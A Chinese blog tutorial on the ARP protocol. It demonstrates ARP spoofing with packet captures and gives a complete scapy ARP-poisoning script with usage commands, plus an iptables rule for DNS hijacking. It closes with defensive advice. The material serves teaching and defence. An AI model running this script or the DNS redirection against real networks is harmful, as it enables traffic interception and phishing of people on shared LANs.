arp原理(包括arp欺骗测试与防御)
来源:互联网 发布:ws15发动机知乎 编辑:程序博客网 时间:2024/05/18 02:01
arp协议
地址解析协议,即ARP(Address Resolution Protocol),作用是通过IP地址换取mac地址。我们知道,在局域网内通信靠的是mac地址,而不是ip地址。有些人可能疑惑了,比如我要ping局域网内的网关,不就是ping 192.168.1.1 不就是用的IP地址吗??怎么说用的是mac地址,其实,在ping网关这个IP的时候,需要arp协议去得到网关的mac。再去对这个mac地址去发送信息。
在一个局域网内,无时无刻不充斥着arp协议。
# tcpdump -i eno16777736 -vnn arp21:52:29.091636 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.6, length 4621:52:30.232964 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.71 tell 192.168.1.100, length 2821:52:30.233137 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.71 is-at d0:53:49:54:4d:e1, length 4621:52:31.112223 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.100, length 2821:52:31.114196 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 14:75:90:40:b9:80, length 4621:52:52.643785 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.42 tell 192.168.1.1, length 4621:52:57.863894 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.71 tell 192.168.1.100, length 2821:52:57.864068 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.71 is-at d0:53:49:54:4d:e1, length 4621:53:00.221650 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.6, length 4621:53:01.671999 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.100, length 2821:53:01.686769 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 14:75:90:40:b9:80, length 46
用抓包工具看看,都是一个请求包,一个回应包。
请求包是 谁知道192.168.1.71的mac请告诉192.168.1.6
回应包是 192.168.1.71的mac地址是 d0:53:49:54:4d:e1
ARP的工作流程:
第一步:A(10.0.0.2)要和B(10.0.0.3)通信,A在本地的ARP缓存中检查主机B的匹配MAC地址。
第二步:如果A的ARP缓存中没有缓存,则A将ARP请求帧广播到本地网络上的所有主机。本地网络中的所有主机都会接收到ARP请求,并且检查是否与自己的IP地址匹配,若不匹配则丢弃ARP请求。
第三步:主机B(10.0.0.3)接收到A的ARP请求包,则将A的Mac和IP写进自己的ARP缓存中。
第四步:主机B(10.0.0.3)将自己的mac信息回复给A。
第五步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的回复信息刷新自己的ARP缓存。并且利用缓存向B发送信息。
ARP的欺骗:
ARP欺骗的实现原理很简单,因为所有主机的数据包想要发送到外网就必须交给网关,再由网关将数据包发给路由器并且开始传送数据包。
那黑客只要在局域网内冒充网关,在局域网内向受害主机发送ARP回复包,一直告诉受害主机,我(黑客)是网关,把所有的上外网数据都交给我把。受害主机会信以为真,而导致将所有的数据包都发给了黑客。
当然,黑客可以将数据先浏览一遍,然后再将所有数据转交给网关。这样神不知,鬼不觉。受害主机那里表现的是一切正常,但是不知道,他的所有信息都被黑客查看了个遍。甚至还可以伴随一些DNS劫持攻击。
下来演示一下ARP攻击的效果。
演示环境:
黑客主机 (IP:192.168.1.100 网卡mac:00:0c:29:xx:xx:6d)
受害主机 (IP:192.168.1.176 网卡mac:00:0c:29:xx:xx:b4)
网关 (IP:192.168.1.1 网关mac:cc:81:da:xx:xx:41)
攻击前的受害主机的ARP表。
# arp -aMEIZU-MX6.lan (192.168.1.144) at 68:3e:34:xx:xx:10 [ether] on eno16777736? (192.168.1.100) at 00:0c:29:xx:xx:6d [ether] on eno16777736PandoraBox_2541.lan (192.168.1.1) at cc:81:da:xx:xx:41 [ether] on eno16777736
现在黑客主机开始攻击。攻击原理是不停发arp数据包向受害主机,告诉受害主机。我是网关。
(先别管我怎么攻击的)
看看攻击后的受害者主机的ARP表。
# arp -aMEIZU-MX6.lan (192.168.1.144) at 68:3e:34:xx:xx:10 [ether] on eno16777736? (192.168.1.100) at 00:0c:29:xx:xx:6d [ether] on eno16777736PandoraBox_2541.lan (192.168.1.1) at 00:0c:29:xx:xx:6d [ether] on eno16777736
注意。192.168.1.100(黑客主机的IP)和网关的mac竟然变的一样了。
现在在受害主机上ping一下百度,并且抓包看看。
受害主机上的显示。
# tcpdump -i eno16777736 icmp -vvnntcpdump: listening on eno16777736, link-type EN10MB (Ethernet), capture size 65535 bytes17:59:38.386544 IP (tos 0x0, ttl 64, id 33184, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.1.176 > 123.125.114.144: ICMP echo request, id 1398, seq 4, length 6417:59:38.386811 IP (tos 0xc0, ttl 64, id 13336, offset 0, flags [none], proto ICMP (1), length 112) 192.168.1.100 > 192.168.1.176: ICMP redirect 123.125.114.144 to host 192.168.1.1, length 92IP (tos 0x0, ttl 63, id 33184, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.1.176 > 123.125.114.144: ICMP echo request, id 1398, seq 4, length 64
一目了然吧,123.125.114.114 是百度的IP。抓包显示176向114发icmp的请求包,但是回应的时候,是192.168.1.100给192.168.1.176回应。还有一个ICMP redirect redirect。
看看局域网内的arp都是些什么。
# tcpdump -i eno16777736 -vvnn arptcpdump: listening on eno16777736, link-type EN10MB (Ethernet), capture size 65535 bytes19:36:57.640374 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:36:59.510906 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.176 tell 192.168.1.100, length 2819:36:59.511255 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.176 is-at 00:0c:29:xx:xx:b4, length 4619:36:59.657612 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:37:01.672798 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 2819:37:03.689772 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 00:0c:29:xx:xx:6d, length 28
局域网内大量充斥着网关的mac(真网关是......41)是......6d(黑客的mac),这样的信息被大量的发给受害主机,导致受害主机信以为真。
下面公布一下我的,arp欺骗代码。
参考自 http://blog.csdn.net/xuanhun521/article/details/52334128
#!/usr/bin/python# _*_ coding=utf-8 _*_import sysimport osimport signalfrom scapy.all import ( get_if_hwaddr, #获取本机的网络接口 getmacbyip, #通过MAC换取IP ARP, #ARP数据包构建 Ether, #以太网数据包构建 sendp #在第二层发送数据包)from optparse import OptionParser #处理命令行参数def main(): try: if os.getuid() != 0: print "[-]Run me as root" sys.exit(1) except BaseException: #捕获所有的异常 print 'Something Error' #try中的函数执行发生异常的话,就执行Something Error usage = 'Usage:%prog [-i interface][-t target] host' #命令行参数相关 parser = OptionParser(usage) parser.add_option('-i',dest='interface',help='Specify the interface to use') parser.add_option('-t',dest='target',help='Specify a particular to ARP poison') parser.add_option('-m',dest='mode',default='req',\ help='Posioning mode:requests(req) or replies(rep) [default:%default]') parser.add_option('-s',action='store_true',dest='summary',default=False,\ help='Show packet summary and ask for confirmation before poisoning')#内容被存入到summary中,比如 #store # -s 10,则options.summary就等于10 #store_true # -s,出现-s则options.summary就为True (options,args)=parser.parse_args() if len(args) != 1 or options.interface is None: parser.print_help() sys.exit(0) mac = get_if_hwaddr(options.interface) def build_req(): """ 以请求包的方式进行欺骗,目的是欺骗网关,让网关把所有的数据给为发一份,同时,被害主机毫无察觉。 """ gateway_mac = getmacbyip(args[0]) if options is None: #广播欺骗 pkt = Ether(src=msc,dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=mac,psrc=options.target,hwdst=gateway_mac,pdst=args[0],op=1) elif options.target: #定向欺骗 target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac,dst=gateway_mac)/ARP(hwsrc=mac,psrc=args[0],hwdst=target_mac,pdst=options.target,op=1) # 本数据包封装了一个数据包,从本机发送给网关, ARP 的内容是谁知道, # 这里欺骗的受骗主机 return pkt def build_rep(): """ 以回应包的形式,只是在欺骗被攻击的主机,网关的mac是我这台主机的mac。 """ if options.target is None: #广播欺骗 骗所有人 pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) elif options.target: #广播欺骗 骗指定的人 target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) # 本机mac 受欺骗的主机mac 本机mac 网关的ip地址 被攻击人的mac 被攻击人的ip OP值是表示请求还是回应 # 1:请求 2:回应 # 从本机发往受欺骗主机, 内容是网关的mac是本机。 return pkt if options.mode == 'req': pkt = build_req() elif options.mode == 'rep': pkt = build_rep() if options.summary is True: pkt.show() ans = raw_input('\n[*] Continue? [Y|n]: ').lower() if ans == 'y' or len(ans) == 0: pass else: sys.exit(0) while True: sendp(pkt, inter=2, iface=options.interface)if __name__ == '__main__': main()
这里代码主要就是封装了一个ARP数据包,并且欺骗受攻击的主机。
用法:
# python arp.py -i eno16777736(本机网卡名称) -t 被攻击主机的IP -m rep -s 192.168.1.1
# python arp.py -i eno16777736 (本机网卡名称) -t 被攻击主机的IP -m req -s 192.168.1.1
使用前,请打开网络转发功能。(不然,受攻击主机会处于断网状态)
# vim /etc/sysctl.conf
# sysctl -p
net.ipv4.ip_forward = 1
当然,还可以搭配dns劫持,具体原理就是截下目的端口为53的数据包,并且修改其目的地址。当然需要自己搭建一个dns服务器。
利用防火墙的nat表。
# iptables -t nat -A PREROUTING -i eno16777736 -p udp --dport 53 -j DNAT --to-destination 192.168.1.100:53
比如,我将www.qq.com这个域名劫持了,并返回一个错误的IP。看看效果!!
现在,我攻击一台windows主机。(网络安全很重要吧!!!!)
arp欺骗的防御
了解到网络安全的重要性了吧。
首先,不说arp欺骗会导致dns劫持,单单是被劫持,网肯定会变的很慢。
危害十分十分的大,尤其是搭配dns劫持,会遭到一些钓鱼网站的攻击,比如。会莫名其妙下载攻击性更为强大的攻击性病毒,导致整台主机完全落入黑客手中。
预防措施
1.建立静态的arp表。只是建立静态表后,不要轻易换网络环境,要不然需要不停的替换网关的mac地址。静态arp表的好处就是,根本不理会局域网上的虚假消息,本机只相信自己的静态表。
2.选择可信赖的局域网环境。(没有计算机相关知识的人唯一可选择的方法)
3.养成遇到问题就抓包的好习惯(当然是对有计算机网络基础的人说的)
当然,也不用担心。arp欺骗只是针对内网用户的攻击,就是说,攻击你的人就是和你连接同一个wifi的人。外网的黑客想要骗你,也得先攻击下一台你的邻居才能通过那个邻居来攻击你。
当然,还可以消失,让邻居们看不见你。
有一句话是,祸起萧墙。 我的上网习惯良好,怎么就中病毒了????那很有可能你有一个习惯很不好的邻居。
因为局域网内的网络攻击是很方便的,一旦你的邻居(局域网内)电脑中毒了,你的网络安全意识又不强,而且还没有什么杀毒软件的支持,那么很有可能你也会挂掉,最近的肆虐的永恒之蓝,445smb漏洞,就是局域网内的文件共享漏洞,这个漏洞导致很多机构的文件被锁,俗称勒索病毒。
最后还是劝大家提高网络安全意识,不要乱进一些不好的网站,不要乱下载陌生人的附件,电脑系统要及时更新,安装杀毒软件。。。。
阅读全文
1 0
- arp原理(包括arp欺骗测试与防御)
- ARP协议原理与缺陷(附ARP欺骗源代码)
- ARP欺骗与攻击原理
- ARP欺骗与攻击原理
- arp欺骗及防御 arpoison
- ARP欺骗防御工具arpon
- arp攻击原理与arp欺骗的原理和应用
- ARP欺骗原理和ARP欺骗解决方案
- ARP欺骗原理 [转]
- ARP欺骗的原理
- ARP欺骗原理
- ARP欺骗原理
- ARP原理、利用、防御(链路层)
- 共享ADSL网络ARP欺骗防御
- ARP欺骗攻击的检测和防御
- ARP欺骗:先认识再防御
- ARP协议以及攻击欺骗和防御
- ARP欺骗原理及实现
- 数据库中的关系运算
- 深入理解JavaScript系列(32):设计模式之观察者模式
- Spring IOC和AOP 原理彻底搞懂
- 贪心 问题理解
- 指针数组例解
- arp原理(包括arp欺骗测试与防御)
- OpenGL坐标变换
- android程序内存泄漏的原因和解决办法
- Apache超文本传输协议(http)
- vue + flask 实现的 linux web dashboard
- Java中log4j使用配置及与slf4j联合使用
- 深入理解JavaScript系列(33):设计模式之策略模式
- 解决maven的jetty插件重启后session丢失问题
- scala基础概念